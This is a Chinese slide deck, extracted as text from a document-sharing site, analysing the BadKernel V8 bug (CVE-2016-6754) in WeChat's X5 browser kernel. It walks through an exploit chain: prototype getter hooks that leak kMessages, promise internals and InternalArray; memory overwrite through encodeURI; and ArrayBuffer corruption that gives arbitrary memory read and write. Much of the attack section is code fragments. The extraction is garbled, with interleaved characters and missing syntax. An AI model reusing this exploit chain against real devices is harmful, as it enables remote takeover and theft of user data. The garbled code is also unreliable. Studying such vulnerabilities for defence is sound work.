版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、BadKernel系统漏洞分析一个笔误引发的漏洞背景介绍JavaScript原型BadKernel漏洞利用内容简介谷歌开源 JavaScript 引擎 Chromium 工程 2008年9月2日发布第一个版本 高性能浏览器 Chrome, 安卓Webview, Opera, Chromium, QQ 浏览器, UC 浏览器安卓应用 Twitter, Facebook, Gmail, 微信, 支付宝, 手机QQ, 京东V8 JavaScript引擎安卓Webview漏洞共统计约22万台设备 Chrome 37:81%Chrome 53: 仅38台91% 的设备存在漏洞74% 的设备存在4个漏洞w
2、ebkit 22%3013%3340%376%456%467%09%16%311%474%BadKernel CVE-2016-6754V8 3.20 - 4.2每 16 台就有1台受影响数亿用户受影响X5内核:基于V8 1微信V8组件 TBS X5 V8 1攻击方式 二维码 恶意URL漏洞危害 用户隐私泄露,如 用户财产损失,如 远程控制手机,准蠕通讯录,短信,录音,录像等窃取支付密码、钱包密码等虫式传播微信受BadKernel影响背景介绍JavaScript原型BadKernel漏洞利用内容简介对象定义var obj = 值属性obj.x = 3;obj.f = function(); o
3、bj.f();访问器属性obj. defineGetter (y, function() return 9 );obj.y = 9对象属性DebugPrint: 0 x40015515: JSObjectmap = 0 x5f310f55 FAST_HOLEY_ELEMENTSprototype = 0 x5fc6bdf1#x: 3 (data field at offset 0)#f: 0 x2760dd35 (data constant)#y: 0 x276128cd (accessor constant)Smi:31 bit signed int 0HeapObject: 32 bit
4、direct pointer (4 byte aligned)|01基于类的面向对象声明基类Base声明继承类Derived创建对象p基于原型的面向对象创建原型对象Base声明构造器函数创建对象dObject NumberObjectErrorNumber PrimitiveValue: 0JSON对象原型Mathfunction () FunctionArrayString函数也是对象Object Mathfunction () FunctionArrayStringNumberPrimitiveValue: 0JSONObjectErrorNumber函数原型可修改的原型Native Ja
5、vaScript/chromium/src/v8/src/js/从native javascript中可以直接调用C/C+函数/chromium/src/v8/src/runtime/%GetPrototype()%DebugPrint()%SystemBreak()%DisassembleFunction(function()%OptimizeFunctionOnNextCallRuntime函数背景介绍JavaScript原型BadKernel漏洞利用内容简介ObjectkMessages定义var kMessages = observe_invalid_accept:Third argu
6、ment to Object.observe must be an array of strings.,笔误var format = Messagesobserve_accept_invalid;漏洞成因kMessagesobserve_invalid_acceptundefined 2013.5 引入2015.3 修复 作为一个普通bug2016.8 成功利用如何利用?ObjectObjectobserve_accept_invalidObject.observe(obj, callback , acceptList )add, update安装勾子Ototype. defineGetter
7、 (observe_accept_invalid,function() kMessages = this ; );触发Object.observe( , function() , 1 )var format = Messagesobserve_accept_invalid;泄漏kMessageskMessagesobserve_invalid_acceptobject_not_extensible:Cant add property , %0, , object is not extensible, return FormatString( format, args);Hook kMessag
8、eskMessagesstrict_read_only_property.push(%3); kMessagesobject_not_extensible.push(%3); Atotype. defineGetter ( 3 , function() args = this; )Hook kMessageskMessages 定义var kMessages = strict_read_only_property: Cannot assign to read only property , %0, of , %1, %3%3promisepromiseStatusstatuspromiseVa
9、luevaluepromiseOnResolveonResolvepromiseOnRejectonRejectPromiseSet(promise, status, value, onResolve, onReject)promise promiseStatus = status; promise promiseValue = value;promise promiseOnResolve = onResolve;promise promiseOnReject = onReject;/InternalArray/InternalArray泄漏 onResolve 以进一步泄漏 Internal
10、Array泄漏私有符号泄漏promiseStatusAtotype. defineGetter ( 3 , function() args = this; ) Object.freeze(mise);promiseStatus = args0;Throw NewTypeError(“strict_read_only_property”)return FormatString(*“, %0, of , %1“, “%3”+, promiseStatus, promise );promiseStatusstatuspromise泄漏promiseStatuspromise泄漏promiseValu
11、eAtotype. defineGetter ( 3 , function() args = this; ) Object.freeze(this);promiseValue = args0;Throw NewTypeError(“object_not_extensible”)return FormatString(*“, %0, “, “%3”+, promiseValue );promiseValuevaluepromisepromiseStatusstatus泄漏promiseValuepromisepromiseStatusstatus泄漏InternalArrayAtotype. d
12、efineGetter ( 3 , function() args = this; ) Object.freeze(this);promiseOnResolve = args0;onResolve=propromiseOnResolve;InternalArray = Object.getPrototypeOf(onResolve);promiseOnResolveonResolveThrow NewTypeError(“object_not_extensible”)return FormatString(*“, %0, “, “%3”+, promiseOnResolve );promise
13、promiseStatusstatuspromiseValuevalue泄漏InternalArraypromisepromiseStatusstatuspromiseValuevalueencodeURI()var array = new InternalArray(uriLength);var result = %NewString(array.length, NEW_ONE_BYTE_STRING); for (var i = 0; i array.length; i+) %_OneByteSeqStringSetChar(i, arrayi, result); /call getter
14、InternalArray泄漏内存get 0: function() this.length=1; return 0 x480 x48%NeLewaSkterdingHook InternalArrayOtotype. defineGetter .call(innerProto, 0, function() this.length=1; return 0 x48 I%ntNeernwaSlAtrrirnagyencodeURI()var array = new InternalArray(uriLength);var result = %NewString(array.length, NEW_
15、ONE_BYTE_STRING); for (var i = 0; i array.length; i+) %_OneByteSeqStringSetChar(i, arrayi, result); /call getterHook InternalArrayOtotype. defineGetter .call(innerProto, 0, function()for(var i=0; i overStr.length; i+)this i + oldLength = overStr.charCodeAt(i); 覆盖内存InternalArrayoverStrget 0: function
16、() for(); return 0 x480 x48overStrBL覆盖JSArrayBufferM: pMapP: pPropertiesE: pElementsB: pBackingStore L: ByteLengthF: FlagJSArrayBuffer BMPEBLFMemoryJSArrayBuffer AElement012316MPEBLFMLShould leak M, P, E, address of JSArrayBuffer B泄漏JSArrayBufferJSArrayBufferElement0123MPEBLFML堆喷ArrayBufferBMagic用ArrayBuffer A 控制ArrayBuffer BvA.setUint32(3*4, address, true);vA.setUint32(4*4, length, true);任意地址读vB.getUint32(0, true);任意地址写vB.setUint32(0, writed_value, true);任意地址读写JSArrayBuffer AMPE
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 员工满意度与医院服务流程再造的关联
- 同步放化疗患者的姑息症状协同管理
- 2026届辽宁省阜新市蒙古族自治县第二高级中学高二上生物期末综合测试模拟试题含解析
- 上海市华师大第一附属中学2026届生物高二上期末监测试题含解析
- 2026届浙江省杭州市杭州七县市区数学高二上期末经典试题含解析
- 2026届辽宁省葫芦岛市建昌县高级中学生物高三第一学期期末考试试题含解析
- 江西省赣州市寻乌中学2026届生物高三上期末统考试题含解析
- 2026届河南省非凡吉创联盟生物高三第一学期期末综合测试试题含解析
- 2.2 养成亲社会行为 同步课件-2025-2026学年统编版道德与法治八年级上册
- 2026年惠州城市职业学院单招综合素质考试模拟试题带答案解析
- LY/T 3416-2024栓皮采集技术规程
- 卒中的诊断与治疗
- DB51-T 1959-2022 中小学校学生宿舍(公寓)管理服务规范
- 教育机构安全生产举报奖励制度
- GB/T 4706.11-2024家用和类似用途电器的安全第11部分:快热式热水器的特殊要求
- FZ∕T 61002-2019 化纤仿毛毛毯
- 《公输》课文文言知识点归纳
- 碎石技术供应保障方案
- 园林苗木容器育苗技术
- 23秋国家开放大学《机电一体化系统设计基础》形考作业1-3+专题报告参考答案
- 2023年工装夹具设计工程师年终总结及下一年计划
评论
0/150
提交评论